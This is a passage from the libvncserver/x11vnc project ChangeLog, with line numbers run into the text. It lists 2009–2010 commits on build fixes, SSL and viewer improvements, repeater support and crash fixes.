(Intel AMT KVM 2353 "classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <wouter.vanmeir (a] pandora.be> 2354 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2355 2356 2010-05-19 Christian Beier <dontmind (a] freeshell.org> 2357 2358 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: 2359 Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate() 2360 returns. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2361 2362 2010-05-08 runge <runge (a] karlrunge.com> 2363 2364 * ChangeLog, libvncclient/rfbproto.c: libvncclient: 2365 rfbResizeFrameBuffer should also set updateRect. 2366 2367 2010-05-08 runge <runge (a] karlrunge.com> 2368 2369 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 2370 x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c, 2371 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to 2372 prepare_x11vnc_dist.sh. set cd->unixname in apply_opts(). 2373 2374 2010-05-07 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2375 2376 * AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2377 2378 2010-05-07 Wouter Van Meir <wouter.vanmeir (a] pandora.be> 2379 2380 * CMakeLists.txt: fix CMakeLists.txt: other way to find pthread 2381 library ... and fixed linking of the tests in the examples directory. Signed-off-by: Wouter Van Meir <wouter.vanmeir (a] pandora.be> 2382 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2383 2384 2010-05-05 runge <runge (a] karlrunge.com> 2385 2386 * classes/ssl/index.vnc, classes/ssl/proxy.vnc, 2387 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, 2388 classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README, 2389 x11vnc/misc/enhanced_tightvnc_viewer/README, 2390 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2392 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2393 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2394 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2395 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync. 2396 2397 2010-05-01 runge <runge (a] karlrunge.com> 2398 2399 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2400 x11vnc/help.c, x11vnc/misc/ultravnc_repeater.pl, 2401 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 2402 x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to 2403 disable SSL client role in reverse connections. Improvements to 2404 logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option. 2405 Increase SSL timeout and print message if 'repeater' mode is 2406 detected for reverse SSL connection. Fix RECORD scroll XCopyArea 2407 detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL to disable. Limit logging of RECORD error messages. 2408 2409 2010-04-28 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2410 2411 * client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2412 2413 2010-04-28 Corentin Chary <corentin.chary (a] gmail.com> 2414 2415 * CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary <corentin.chary (a] gmail.com> 2416 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2417 2418 2010-04-25 runge <runge (a] karlrunge.com> 2419 2420 * x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c, 2421 x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c, 2422 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new 2423 ultravnc_dsm_helper.c. 2424 2425 2010-04-18 runge <runge (a] karlrunge.com> 2426 2427 * x11vnc/ChangeLog, 2428 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2429 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2430 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2431 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2432 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 2433 tch, 2434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2435 ll.patch: Sync ssvncviewer changes. 2436 2437 2010-04-18 runge <runge (a] karlrunge.com> 2438 2439 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, 2440 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, 2441 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2442 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, 2443 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 2444 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 2445 x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2446 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: 2447 Improvements to demo scripts. Alias -coe for -connect_or_exit. Fix 2448 HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens. 2449 2450 2010-04-09 runge <runge (a] karlrunge.com> 2451 2452 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2453 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c, 2454 x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 2455 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 2456 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, 2457 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1, 2458 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 2459 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for 2460 -connect_or_exit failure, quiet query mode for grab_state, 2461 pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular 2462 interface. -input_eagerly in addition to -allinput. quiet Xinerama 2463 message. 2464 2465 2010-04-09 runge <runge (a] karlrunge.com> 2466 2467 * classes/ssl/ss_vncviewer, 2468 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2469 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to 2470 Java viewer: troubleshooting settings and workarounds, misc bug 2471 fixes. 2472 2473 2010-04-09 runge <runge (a] karlrunge.com> 2474 2475 * x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2476 x11vnc/misc/enhanced_tightvnc_viewer/README, 2477 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2478 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2479 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2480 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2481 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2482 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2483 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2484 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 2485 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2486 ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26. 2487 Improvements to perl scripts desktop.cgi, connect_switch and 2488 inet6to4. 2489 2490 2010-03-21 runge <runge (a] karlrunge.com> 2491 2492 * classes/ssl/README, classes/ssl/onetimekey, 2493 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2494 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2495 x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 2496 x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README, 2497 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2498 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, 2499 x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c, 2500 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 2501 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: 2502 Many improvements to Java SSL applet, onetimekey serverCert param, 2503 debugging printout, user dialogs, catch socket exceptions, 2504 autodetect x11vnc for GET=1. x11vnc: misc/scripts: desktop.cgi, 2505 inet6to4, panner.pl. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx 2506 documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for 2507 create script, autodetect dm on udp6 only. Queries: pointer_x, 2508 pointer_y, pointer_same, pointer_root. Switch on -xkd if keysyms 2509 per key > 4 in all cases. daemon mode improvements for 2510 connect_switch, inet6to4, ultravnc_repeater.pl. Dynamic change of 2511 -clip do not create new fb if WxH is unchanged. 2512 2513 2010-03-21 runge <runge (a] karlrunge.com> 2514 2515 * configure.ac: I think two HAVE_X's were missed. 2516 2517 2010-03-13 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2518 2519 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation 2520 without TLS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2521 2522 2010-03-13 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2523 2524 * client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix 2525 compilation with newer automake For some reason, this developer's automake no longer understands 2526 _SOURCES lines anymore. Work around that. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2527 2528 2010-03-13 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2529 2530 * client_examples/Makefile.am, configure.ac: Rename HAVE_X -> 2531 HAVE_X11 This change is just for consistency reasons. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2532 2533 2010-02-22 runge <runge (a] karlrunge.com> 2534 2535 * classes/ssl/README, 2536 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2537 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2538 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, 2539 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h, 2540 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: 2541 Java SSL applet viewer now works with certificate chains. x11vnc: 2542 Printout option -sslScripts. Suggest -auth guess in error message. 2543 Set fake_screen width and height. Test for +kb in Xvfb. 2544 2545 2010-01-22 Christian Beier <dontmind (a] freeshell.org> 2546 2547 * libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set 2548 serverPort in rfbInitClient(). The serverPort member is already set in rfbGetClient(), if we set it 2549 again in rfbInitClient(), this breaks playing of vncrec files (this 2550 relies on serverPort set to -1). Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2551 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2552 2553 2010-01-16 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2554 2555 * libvncclient/vncviewer.c: LibVNCClient: make sure that the port is 2556 initialized correctly. While at it, adjust coding style. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2557 2558 2010-01-15 Vic Lee <llyzs (a] 163.com> 2559 2560 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2561 rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized 2562 correctly] Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2563 Schindelin <johannes.schindelin (a] gmx.de> 2564 2565 2010-01-07 runge <runge (a] karlrunge.com> 2566 2567 * x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1, 2568 x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy. 2569 2570 2010-01-07 Christian Beier <dontmind (a] freeshell.org> 2571 2572 * libvncserver/font.c: libvncserver/font.c: add some checks to 2573 rfbDrawChar(). In some cases (bad font data) the coordinates evaluate to <0, 2574 causing a segfault in the following memcpy(). [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2575 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2576 2577 2010-01-07 Christian Beier <dontmind (a] freeshell.org> 2578 2579 * vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of 2580 ctrl key being stuck. Issue was reported as Debian bug ##555988, 2581 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2582 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2583 2584 2010-01-04 Christian Beier <dontmind (a] freeshell.org> 2585 2586 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at 2587 "linuxvnc 1 -help". This fixes Debian Bug #399501: Switch to tty1. Run "linuxvnc 1 2588 -help". You see help text, followed by "Segmentation fault". Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2589 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2590 2591 2010-01-02 runge <runge (a] karlrunge.com> 2592 2593 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 2594 x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c, 2595 x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, 2596 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, 2597 x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, 2598 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, 2599 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 2600 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, 2601 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 2602 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, 2603 x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy, 2604 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c, 2605 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, 2606 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, 2607 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, 2608 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, 2609 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 2610 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 2611 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 2612 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 2613 x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, 2614 x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, 2615 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, 2616 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 2617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 2618 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 2619 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 2620 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 2621 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: 2622 small tweaks to Xdummy, rx11vnc*. Apply SMALL_FOOTPRINT to 2623 -appshare text. Copyright year change. 2624 2625 2010-01-02 runge <runge (a] karlrunge.com> 2626 2627 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++; 2628 2629 2010-01-02 runge <runge (a] karlrunge.com> 2630 2631 * ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: 2632 tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight 2633 security type for RFB 3.8 (debian bug 517422.) 2634 2635 2010-01-01 Vic Lee <llyzs (a] 163.com> 2636 2637 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2638 rfb/rfbclient.h: Add support for viewers to select security types on 2639 demand Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2640 Schindelin <johannes.schindelin (a] gmx.de> 2641 2642 2009-12-29 runge <runge (a] karlrunge.com> 2643 2644 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 2645 x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2646 x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv. 2647 Hopefully done fixing Xdummy. 2648 2649 2009-12-28 runge <runge (a] karlrunge.com> 2650 2651 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, 2652 x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2653 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 2654 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2655 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2656 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2657 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2658 ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, 2659 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2660 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in 2661 --without-x builds. Fix crash with -QD query for dbus info. Adjust 2662 window size for small screens in -gui. Improve F1 help for xdm, 2663 etc. include ssvnc 1.0.25 source. 2664 2665 2009-12-24 runge <runge (a] karlrunge.com> 2666 2667 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 2668 x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h, 2669 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2670 x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10. 2671 -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde 2672 session. Xdummy improvements and root no longer required. 2673 2674 2009-12-20 Vic Lee <llyzs (a] 163.com> 2675 2676 * libvncclient/rfbproto.c: Fix version checking (>=3.8) for 2677 rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK when there is no password 2678 with anonymous TLS, and it seems that vino is the only <3.8 VNC 2679 server that handles anonymous TLS at all, so let's not wait for the 2680 packet that will never come. Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2681 Schindelin <johannes.schindelin (a] gmx.de> 2682 2683 2009-12-21 runge <runge (a] karlrunge.com> 2684 2685 * x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c, 2686 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2687 x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h 2688 but still have ssl. Tweak ps command in find_display. Try to handle AIX su. Ignore an initial newline at login: for -unixpw. 2689 2690 2009-12-18 runge <runge (a] karlrunge.com> 2691 2692 * x11vnc/ChangeLog: ChangeLog typo 2693 2694 2009-12-18 runge <runge (a] karlrunge.com> 2695 2696 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 2697 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 2698 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2699 x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG. 2700 Prefer Xvfb over Xdummy. Reduce wait time for https. Add 'Login 2701 succeeded' output to unixpw panel. 2702 2703 2009-12-18 runge <runge (a] karlrunge.com> 2704 2705 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2706 x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2707 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other 2708 remote control actions under DIRECT: with an extra XFlush and other 2709 safety measures. fflush(stderr) much in su_verify. Make the 2710 -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST 2711 work correctly. Make -loopbg actually imply -bg. 2712 2713 2009-12-15 runge <runge (a] karlrunge.com> 2714 2715 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c, 2716 x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch, 2717 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, 2718 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, 2719 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, 2720 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 2721 x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var. 2722 fakebuttonevent action, connect_switch and ultravnc_repeater.pl 2723 scripts, find_display try FD_XDM on failure, -quiet and -storepasswd 2724 changes, better port 113 testing. 2725 2726 2009-12-07 runge <runge (a] karlrunge.com> 2727 2728 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 2729 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, 2730 x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2731 x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS, 2732 X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX, 2733 -findauth/-auth guess FD_XDM=1 for root, work around xhost 2734 SI:localuser:root. 2735 2736 2009-12-05 runge <runge (a] karlrunge.com> 2737 2738 * classes/ssl/ss_vncviewer, 2739 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2740 x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c, 2741 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java 2742 and scripts in classes/ssl. x11vnc: declare crypt() on all 2743 platforms. more wishes. 2744 2745 2009-12-02 runge <runge (a] karlrunge.com> 2746 2747 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 2748 x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c, 2749 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, 2750 x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, 2751 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, 2752 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2753 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, 2754 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, 2755 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 2756 x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for 2757 sharing an application windows instead of the entire desktop. map 2758 port + 5500 in reverse connect. Add id_cmd remote control functions 2759 for id (and other) windows. Allow zero port in SSL reverse 2760 connections. Adjust delays between multiple reverse connections; 2761 X11VNC_REVERSE_SLEEP_MAX env var. Add some missing mutex locks; add 2762 INPUT_LOCK and threads_drop_input. More safety in -threads mode for 2763 new framebuffer change. Fix some stderr leaking in -inetd mode. 2764 2765 2009-12-01 runge <runge (a] karlrunge.com> 2766 2767 * libvncserver/cursor.c, libvncserver/sockets.c, 2768 libvncserver/translate.c: Add locks of updateMutex in 2769 rfbRedrawAfterHideCursor() and rfbSetClientColourMap(). Up listen 2770 limit from 5 to 32. 2771 2772 2009-11-18 runge <runge (a] karlrunge.com> 2773 2774 * x11vnc/misc/enhanced_tightvnc_viewer/README, 2775 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2776 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2777 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 2778 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2779 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2780 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2781 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2782 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2783 ll.patch: ssvnc/enhanced_tightvnc_viewer update. 2784 2785 2009-11-18 runge <runge (a] karlrunge.com> 2786 2787 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 2788 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, 2789 x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, 2790 x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h, 2791 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2792 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 2793 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: 2794 -findauth, -auth guess, & etc. 2795 2796 2009-11-11 Christian Beier <dontmind (a] freeshell.org> 2797 2798 * libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better 2799 return value for non-forking listen. The return value now better reflects what has happened: 1 on success 2800 (incoming connection on listen socket, we accepted it successfully), 2801 -1 on error, 0 on timeout. Also change the select calls to not check _all_ possible file 2802 descriptors. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2803 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2804 2805 2009-11-05 Christian Beier <dontmind (a] freeshell.org> 2806 2807 * libvncclient/listen.c, libvncclient/rfbproto.c, 2808 libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for 2809 socket values, 0 is a legal value. To make this work, we also have to initialize sockets to a default 2810 value of -1. Also close a client listen socket if it's open. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2811 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2812 2813 2009-10-31 Christian Beier <dontmind (a] freeshell.org> 2814 2815 * libvncclient/vncviewer.c: libvncclient: include winsock2.h in 2816 vncviewer.c. fixes warning about closesocket being implicitly declared. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2817 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2818 2819 2009-11-05 Vic Lee <llyzs (a] 163.com> 2820 2821 * configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2822 Schindelin <johannes.schindelin (a] gmx.de> 2823 2824 2009-11-04 Vic Lee <llyzs (a] 163.com> 2825 2826 * client_examples/ppmtest.c, examples/example.c, 2827 libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c, 2828 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 2829 vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2830 Schindelin <johannes.schindelin (a] gmx.de> 2831 2832 2009-10-07 Vic Lee <llyzs (a] 163.com> 2833 2834 * libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h, 2835 rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2836 Schindelin <johannes.schindelin (a] gmx.de> 2837 2838 2009-10-31 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2839 2840 * AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2841 2842 2009-10-31 Christian Beier <dontmind (a] freeshell.org> 2843 2844 * client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up 2845 the same client twice. If rfbInitConnection fails, it cleans up the client, so protect 2846 against doing it ourselves again. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2847 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2848 2849 2009-10-30 Christian Beier <dontmind (a] 